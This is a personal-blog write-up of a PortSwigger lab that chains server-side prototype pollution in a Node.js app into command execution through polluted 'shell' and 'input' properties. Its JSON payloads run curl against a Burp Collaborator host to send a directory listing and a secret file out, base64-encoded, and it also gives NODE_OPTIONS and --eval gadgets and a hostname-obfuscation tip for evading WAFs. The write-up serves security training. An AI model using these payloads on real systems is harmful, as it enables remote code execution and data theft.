Siunam's Website

My personal website

Home About Blog Writeups Projects E-Portfolio

Exfiltrating sensitive data via server-side prototype pollution | Feb 28, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exfiltrating sensitive data via server-side prototype pollution! Without further ado, let’s dive in.

Background

This lab is built on Node.js and the Express framework. It is vulnerable to server-side prototype pollution because it unsafely merges user-controllable input into a server-side JavaScript object.

Due to the configuration of the server, it’s possible to pollute Object.prototype in such a way that you can inject arbitrary system commands that are subsequently executed on the server.

To solve the lab:

  1. Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype.
  2. Identify a gadget that you can use to inject and execute arbitrary system commands.
  3. Trigger remote execution of a command that leaks the contents of Carlos’s home directory (/home/carlos) to the public Burp Collaborator server.
  4. Exfiltrate the contents of a secret file in this directory to the public Burp Collaborator server.
  5. Submit the secret you obtain from the file using the button provided in the lab banner.

In this lab, you already have escalated privileges, giving you access to admin functionality. You can log in to your own account with the following credentials: wiener:peter

Note:

When testing for server-side prototype pollution, it’s possible to break application functionality or even bring down the server completely. If this happens to your lab, you can manually restart the server using the button provided in the lab banner. Remember that you’re unlikely to have this option when testing real websites, so you should always use caution.

Exploitation

Home page:

Login as user wiener:

In here, we can update our billing and delivery address.

Let’s try to update it:

Burp Suite HTTP history:

When we clicked the “Submit” button, it’ll send a POST request to /my-account/change-address, with parameter address_line_1, address_line_2, city, postcode, country, sessionId in JSON format:

{
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "kJ5BBEPfwN78BsV4ZvujiigEnT5uXHKJ"
}

If there’s no error, the web application will return a JSON data:

{
    "username": "wiener",
    "firstname": "Peter",
    "lastname": "Wiener",
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "isAdmin": true
}

Since we’re an administrator, we can access to the admin panel:

In here, we can “Run maintenance jobs”.

Let’s click on that button:

Burp Suite HTTP history:

When we clicked that button, it’ll send a POST request to /admin/jobs, with parameter csrf, sessionId, tasks in JSON format:

{
    "csrf": "fw5RBBkXNiZjnw6e3MXlSyTXJKfV4Bi3",
    "sessionId": "kJ5BBEPfwN78BsV4ZvujiigEnT5uXHKJ",
    "tasks": [
        "db-cleanup",
        "fs-cleanup"
    ]
}

If there’s no error, the web application will return a JSON data:

{
    "results": [
        {
            "description": "Database cleanup",
            "name": "db-cleanup",
            "success": true
        },
        {
            "description": "Filesystem cleanup",
            "name": "fs-cleanup",
            "success": true
        }
    ]
}

In /my-account/change-address endpoint, POST or PUT requests that submit JSON data to an application or API are prime candidates for this kind of behavior as it’s common for servers to respond with a JSON representation of the new or updated object. In this case, you could attempt to pollute the global Object.prototype with an arbitrary property via server-side prototype pollution.

Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype

To do so, we can use __proto__ to pollute the global Object.prototype, and “JSON spaces override” technique to identify it’s really vulnerable to server-side prototype pollution:

{
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "kJ5BBEPfwN78BsV4ZvujiigEnT5uXHKJ",
    "__proto__": {
        "json spaces": 1
    }
}

Then, send that payload in /my-account/change-address:

As you can see, the response’s JSON data indeed has 1 space for the indentation! Which means the web application is vulnerable to server-side prototype pollution.

Identify a gadget that you can use to inject and execute arbitrary system commands

In the admin panel, we can run maintenance jobs, which are database and filesystem cleanup.

Database and filesystem cleanup… This got me thinking it’s using OS command to complete that!

There are a number of potential command execution sinks in Node, many of which occur in the child_process module. These are often invoked by a request that occurs asynchronously to the request with which you’re able to pollute the prototype in the first place. As a result, the best way to identify these requests is by polluting the prototype with a payload that triggers an interaction with Burp Collaborator when called.

The NODE_OPTIONS environment variable enables you to define a string of command-line arguments that should be used by default whenever you start a new Node process. As this is also a property on the env object, you can potentially control this via prototype pollution if it is undefined.

Some of Node’s functions for creating new child processes accept an optional shell property, which enables developers to set a specific shell, such as bash, in which to run commands. By combining this with a malicious NODE_OPTIONS property, you can pollute the prototype in a way that causes an interaction with Burp Collaborator whenever a new Node process is created:

"__proto__": {
    "shell":"node",
    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}

This way, you can easily identify when a request creates a new child process with command-line arguments that are controllable via prototype pollution.

Tip:

The escaped double-quotes in the URL aren’t strictly necessary. However, this can help to reduce false positives by obfuscating the URL to evade WAFs and other systems that scrape for hostnames.

Moreover, methods such as child_process.spawn() and child_process.fork() enable developers to create new Node subprocesses. The fork() method accepts an options object in which one of the potential options is the execArgv property. This is an array of strings containing command-line arguments that should be used when spawning the child process. If it’s left undefined by the developers, this potentially also means it can be controlled via prototype pollution.

As this gadget lets you directly control the command-line arguments, this gives you access to some attack vectors that wouldn’t be possible using NODE_OPTIONS. Of particular interest is the --eval argument, which enables you to pass in arbitrary JavaScript that will be executed by the child process. This can be quite powerful, even enabling you to load additional modules into the environment:

"execArgv": [
    "--eval=require('<module>')"
]

In addition to fork(), the child_process module contains the execSync() method, which executes an arbitrary string as a system command. By chaining these JavaScript and command injection sinks, you can potentially escalate prototype pollution to gain full RCE capability on the server.

However, in some cases, the application may invoke this method of its own accord in order to execute system commands.

Just like fork(), the execSync() method also accepts options object, which may be pollutable via the prototype chain. Although this doesn’t accept an execArgv property, you can still inject system commands into a running child process by simultaneously polluting both the shell and input properties:

By polluting both of these properties, you may be able to override the command that the application’s developers intended to execute and instead run a malicious command in a shell of your choosing. Note that there are a few caveats to this:

Although they aren’t really intended to be shells, the text editors Vim and ex reliably fulfill all of these criteria. If either of these happen to be installed on the server, this creates a potential vector for RCE:

"shell":"vim",
"input":":! <command>\n"

Note:

Vim has an interactive prompt and expects the user to hit Enter to run the provided command. As a result, you need to simulate this by including a newline (\n) character at the end of your payload, as shown in the example above.

One additional limitation of this technique is that some tools that you might want to use for your exploit also don’t read data from stdin by default. However, there are a few simple ways around this. In the case of curl, for example, you can read stdin and send the contents as the body of a POST request using the -d @- argument.

In other cases, you can use xargs, which converts stdin to a list of arguments that can be passed to a command.

Trigger remote execution of a command that leaks the contents of Carlos’s home directory (/home/carlos) to the public Burp Collaborator server

Armed with above information, we can try to exfiltrate sensitive data via polluting the shell and input properties.

But first, we need to confirm it’s vulnerable to Remote Code Execution (RCE) via server-side prototype pollution.

Confirm payload:

{
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "TSVlnXyRQM0bCY3673SILjpuVbpVg0Ya",
    "__proto__": {
        "shell":"vim",
        "input":":! curl https://2ehqzrpkjm5uif25p2gwfg2rhin9bzzo.oastify.com\n"
    }
}

Send that payload in /my-account/change-address:

Then, run our polluted maintenance jobs:

Burp Collaborator server:

As you can see, we have 2 HTTPS requests! Which can be confirmed the web application is indeed vulnerable to RCE via serve-side prototype pollution!

Note: It made 2 requests is because the maintenance jobs will run twice.

Next, we can use base64 and curl to exfiltrate data!

{
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "TSVlnXyRQM0bCY3673SILjpuVbpVg0Ya",
    "__proto__": {
        "shell":"vim",
        "input":":! ls -lah | base64 | curl -d @- https://2ehqzrpkjm5uif25p2gwfg2rhin9bzzo.oastify.com\n"
    }
}

Burp Collaborator server:

Nice! Let’s base64 decode that!

┌[siunam♥earth]-(~/ctf/Portswigger-Labs/Prototype-Pollution)-[2023.02.28|21:12:10(HKT)]
└> echo 'dG90YWwgMjBLCmRyd3hyLXhyLXggMSBjYXJsb3MgY2FybG9zICAgNjkgRmViIDI4IDEzOjAyIC4KZHJ3eHIteHIteCAxIHJvb3QgICByb290ICAgICAyMCBGZWIgMjQgMDI6MDkgLi4KLXJ3LXItLXItLSAxIGNhcmxvcyBjYXJsb3MgIDIyMCBGZWIgMjUgIDIwMjAgLmJhc2hfbG9nb3V0Ci1ydy1yLS1yLS0gMSBjYXJsb3MgY2FybG9zIDMuN0sgRmViIDI1ICAyMDIwIC5iYXNocmMKZHJ3eC0tLS0tLSA0IGNhcmxvcyBjYXJsb3MgICA5NCBGZWIgMjggMTI6NTcgLmZvcmV2ZXIKLXJ3LXItLXItLSAxIGNhcmxvcyBjYXJsb3MgIDgwNyBGZWIgMjUgIDIwMjAgLnByb2ZpbGUKLXJ3LS0tLS0tLSAxIGNhcmxvcyBjYXJsb3MgIDY3MyBGZWIgMjggMTM6MDIgLnZpbWluZm8KZHJ3eHJ3eHIteCAyIGNhcmxvcyBjYXJsb3MgICA2NCBGZWIgMjggMTI6NTcgbm9kZV9hcHBzCi1ydy1ydy1yLS0gMSBjYXJsb3MgY2FybG9zICAgMzIgRmViIDI4IDEyOjU3IHNlY3JldAo=' | base64 -d
total 20K
drwxr-xr-x 1 carlos carlos   69 Feb 28 13:02 .
drwxr-xr-x 1 root   root     20 Feb 24 02:09 ..
-rw-r--r-- 1 carlos carlos  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 carlos carlos 3.7K Feb 25  2020 .bashrc
drwx------ 4 carlos carlos   94 Feb 28 12:57 .forever
-rw-r--r-- 1 carlos carlos  807 Feb 25  2020 .profile
-rw------- 1 carlos carlos  673 Feb 28 13:02 .viminfo
drwxrwxr-x 2 carlos carlos   64 Feb 28 12:57 node_apps
-rw-rw-r-- 1 carlos carlos   32 Feb 28 12:57 secret

We successfully exfiltrated the home directory of user carlos!

Exfiltrate the contents of a secret file in this directory to the public Burp Collaborator server

Let’s exfiltrate the secret file:

{
    "address_line_1": "Wiener HQ",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "TSVlnXyRQM0bCY3673SILjpuVbpVg0Ya",
    "__proto__": {
        "shell":"vim",
        "input":":! cat secret | base64 | curl -d @- https://2ehqzrpkjm5uif25p2gwfg2rhin9bzzo.oastify.com\n"
    }
}

Send that payload in /my-account/change-address, run our polluted maintenance jobs, Go to the Collaborator tab and poll for interactions:

Decode that:

┌[siunam♥earth]-(~/ctf/Portswigger-Labs/Prototype-Pollution)-[2023.02.28|21:12:17(HKT)]
└> echo 'SUc4bU9vRnhsZmk5bENkWXN4RTRUZXVabVkxSTlZdGE=' | base64 -d
IG8mOoFxlfi9lCdYsxE4TeuZmY1I9Yta

Nice! We can finally submit that!

What we’ve learned:

  1. Exfiltrating sensitive data via server-side prototype pollution